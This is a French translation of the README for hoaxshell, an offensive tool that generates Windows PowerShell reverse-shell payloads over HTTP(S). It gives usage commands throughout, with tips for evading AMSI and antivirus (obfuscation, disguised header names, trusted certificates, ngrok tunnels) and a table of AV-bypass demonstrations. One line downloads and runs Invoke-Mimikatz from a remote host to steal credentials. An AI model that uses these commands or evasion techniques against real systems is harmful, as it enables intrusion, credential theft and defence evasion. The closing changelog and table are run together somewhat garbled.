
Un générateur et gestionnaire de payload de reverse shell Windows qui exploite le protocole http(s) pour établir un reverse shell de type balise.
⚠️ Depuis le 2022-10-18, hoaxshell est détecté par AMSI (malware-encyclopedia). Vous devez obfusquer le payload généré pour l'utiliser. Consultez cette vidéo sur la façon d'obfusquer manuellement et de contourner MS Defender :
hoaxshell est un générateur et gestionnaire de reverse shell Windows qui abuse du protocole http(s) pour établir un reverse shell de type beacon, basé sur le concept suivant :

Ce concept de C2 (qui pourrait être implémenté en utilisant d'autres protocoles que http ou des exécutables pré-installés) peut être utilisé pour établir des sessions qui favorisent l'illusion d'avoir un shell, mais qui sont loin d'un véritable pty.
HoaxShell a bien résisté face aux antivirus (consultez le tableau AV Bypass PoCs pour plus d'informations). Bien qu'il soit maintenant généralement détecté, il est facile d'obfusquer le(s) payload(s) généré(s) à l'aide d'outils automatisés ou manuellement.
Avertissement : Conçu uniquement à des fins de test et d'éducation. N'exécutez PAS les payloads générés par cet outil contre des hôtes pour lesquels vous n'avez pas l'autorisation explicite de tester. Vous êtes responsable de tout problème que vous pourriez causer en utilisant cet outil.
[2022-10-11] Récent et génial, réalisé par John Hammond -> youtube.com/watch?v=fgSARG82TJY [2022-07-15] Démo de la version originale, réalisée par moi -> youtube.com/watch?v=SEufgD5UxdU

Plus de captures d'écran ici.
git clone https://github.com/t3l3machus/hoaxshell
cd ./hoaxshell
sudo pip3 install -r requirements.txt
chmod +x hoaxshell.py
Important : Afin d'éviter la détection, hoaxshell génère automatiquement des valeurs aléatoires pour l'ID de session, les chemins d'URL et le nom d'un en-tête HTTP personnalisé utilisé dans le processus, à chaque démarrage du script. Le payload généré ne fonctionnera que pour l'instance pour laquelle il a été généré. Utilisez l'option -g pour contourner ce comportement et rétablir une session active ou réutiliser un payload passé généré avec une nouvelle instance de hoaxshell.
Lorsque vous exécutez hoaxshell, il génère son propre payload PowerShell que vous devez copier et injecter sur la victime. Par défaut, le payload est encodé en base64 pour plus de commodité. Si vous avez besoin du payload brut, exécutez la commande d'invite "rawpayload" ou démarrez hoaxshell avec l'argument -r. Une fois le payload exécuté sur la victime, vous pourrez exécuter des commandes PowerShell contre elle.
Invoke-Expression (par défaut)sudo python3 hoaxshell.py -s <votre_ip>
Utilisez -x pour fournir un nom de fichier .ps1 (chemin absolu) à créer sur la machine victime. Vous devriez vérifier le payload brut avant de l'exécuter, assurez-vous que le chemin fourni est fiable.
sudo python3 hoaxshell.py -s <votre_ip> -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Hoaxshell utilise un en-tête HTTP pour transférer les informations de session du shell. Par défaut, l'en-tête reçoit un nom aléatoire qui peut être détecté par des règles AV basées sur des expressions régulières. Utilisez -H pour fournir un nom d'en-tête HTTP standard ou personnalisé afin d'éviter la détection.
sudo python3 hoaxshell.py -s <votre_ip> -i -H "Authorization"
sudo python3 hoaxshell.py -s <votre_ip> -i -H "Authorization" -x "C:\Users\\\$env:USERNAME\.local\hack.ps1"
Ce payload particulier est un signal d'alarme, car il commence par un bloc de code supplémentaire qui ordonne à PowerShell d'ignorer les vérifications de certificats SSL, ce qui le rend suspect et facilement détectable, ainsi que significativement plus long. Déconseillé.
# Générer un certificat auto-signé :
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365
# Passer les fichiers cert.pem et key.pem en arguments :
sudo python3 hoaxshell.py -s <votre_ip> -c </chemin/vers/cert.pem> -k <chemin/vers/key.pem>
Si vous possédez un domaine, utilisez cette option pour générer un payload https plus court et moins détectable en fournissant votre DN avec -s ainsi qu'un certificat de confiance (-c cert.pem -k privkey.pem).
sudo python3 hoaxshell.py -s <votre.domaine.com> -t -c </chemin/vers/cert.pem> -k <chemin/vers/key.pem>
Si vous fermez votre terminal accidentellement, ou en cas de panne de courant, vous pouvez démarrer hoaxshell en mode reprise de session ; il tentera de rétablir une session, à condition que le payload soit toujours en cours d'exécution sur la machine victime.
sudo python3 hoaxshell.py -s <votre_ip> -g
Important : Assurez-vous de démarrer hoaxshell avec les mêmes paramètres que la session que vous essayez de restaurer (http/https, port, etc.).
Utilisez n'importe quelle variation de payload avec l'option -cm (--constraint-mode) pour générer un payload qui fonctionne même si la victime est configurée pour exécuter PS en mode langage contraint. En utilisant cette option, vous sacrifiez un peu la précision du décodage de la sortie standard de votre reverse shell.
sudo python3 hoaxshell.py -s <votre_ip> -cm

Utilisez les programmes de tunneling Ngrok ou LocalTunnel pour obtenir des sessions via des tunnels sécurisés, contournant les problèmes tels que l'absence d'adresse IP statique ou l'interdiction du redirection de port par votre FAI.
Utilisez -ng ou --ngrok pour le serveur Ngrok
sudo python3 hoaxshell.py -ng
Utilisez -lt ou --localtunnel pour le serveur LocalTunnel
sudo python3 hoaxshell.py -lt
Le shell va se bloquer si vous exécutez une commande qui déclenche une session interactive. Exemple :
# cette commande s'exécutera avec succès et vous n'aurez aucun problème :
> powershell echo 'Ceci est un test'
# Mais celle-ci ouvrira une session interactive dans la session hoaxshell et bloquera le shell :
> powershell
# De la même manière, vous n'aurez aucun problème à exécuter ceci :
> cmd /c dir /a
# Mais cela bloquera votre hoaxshell :
> cmd.exe
Donc, si vous souhaitez par exemple exécuter mimikatz via hoaxshell, vous devez invoquer les commandes :
hoaxshell > IEX(New-Object Net.WebClient).DownloadString('http://192.168.0.13:4443/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command '"PRIVILEGE::Debug"'
En résumé, vous devez faire attention à ne pas exécuter un exécutable ou une commande qui démarre une session interactive dans le contexte PowerShell de hoaxshell.
Des personnes formidables ont eu la gentillesse de m'envoyer / de publier des vidéos de PoC montrant l'exécution des payloads de hoaxshell contre des systèmes exécutant des solutions AV autres que MS Defender, sans être détectées. Vous trouverez ci-dessous un tableau de référence avec les liens :
Important : Je ne sais pas si vous pouvez encore utiliser hoaxshell efficacement pour contourner ces solutions. Il est raisonnable de supposer que la détectabilité changera bientôt (si ce n'est déjà fait).
13/10/2022 - Ajout de l'option de support du mode langage contraint (-cm).08/10/2022 - Ajout des options -ng et -lt qui génèrent des payloads PS pour obtenir des sessions en utilisant les outils de tunneling ngrok ou localtunnel, afin de contourner des limitations comme les adresses IP statiques et le redirection de port.06/09/2022 - Un nouveau payload a été ajouté, qui écrit les commandes à exécuter dans un fichier au lieu d'utiliser Invoke-Expression. Pour l'utiliser, l'utilisateur doit fournir un nom de fichier .ps1 (chemin absolu) sur la machine victime en utilisant l'option -x.04/09/2022 - Des modifications ont été apportées pour améliorer le mécanisme de livraison des commandes, car il contenait des composants facilement identifiables. L'option -t ainsi que https_payload_trusted.ps1 ont été ajoutées. Vous pouvez maintenant utiliser hoaxshell en fournissant un nom de domaine ainsi qu'un certificat de confiance. Cela générera un payload https plus court et moins détectable.01/09/2022 - Ajout de l'option qui permet aux utilisateurs de donner un nom personnalisé à l'en-tête (aléatoire par défaut) utilisé dans le processus d'attaque, transportant l'ID de session du shell. Cela rend l'attaque moins détectable, par exemple en utilisant un nom d'en-tête standard comme "Authorization".| Solution AV | Date | PoC |
|---|
| SentinelOne | 2022-10-18 | https://twitter.com/i/status/1582137400880336896 |
| Norton | 2022-10-17 | https://twitter.com/i/status/1582278579244929024 |
| Bitdefender | 2022-10-15 | https://www.linkedin.com/posts/rohitjain-19_hoaxshell-cy83rr0h1t-penetrationtesting-activity-6987080745139765248-8cdT?utm_source=share&utm_medium=member_desktop |
| McAfee | 2022-10-15 | https://twitter.com/i/status/1581605531365814273 |
| Kaspersky | 2022-10-13 | https://www.youtube.com/watch?v=IyMH_eCC4Rk |
| Sophos | 2022-09-08 | https://www.youtube.com/watch?v=NYR0rWx4x8k |
-H31/08/2022 - Ajout de l'option -i qui génère le payload PS adapté pour utiliser 'Invoke-RestMethod' au lieu de 'Invoke-WebRequest', permettant ainsi à l'utilisateur de choisir (merci à cette issue). J'ai également corrigé un bug dans l'invite de commande (qui parfois perturbait le chemin).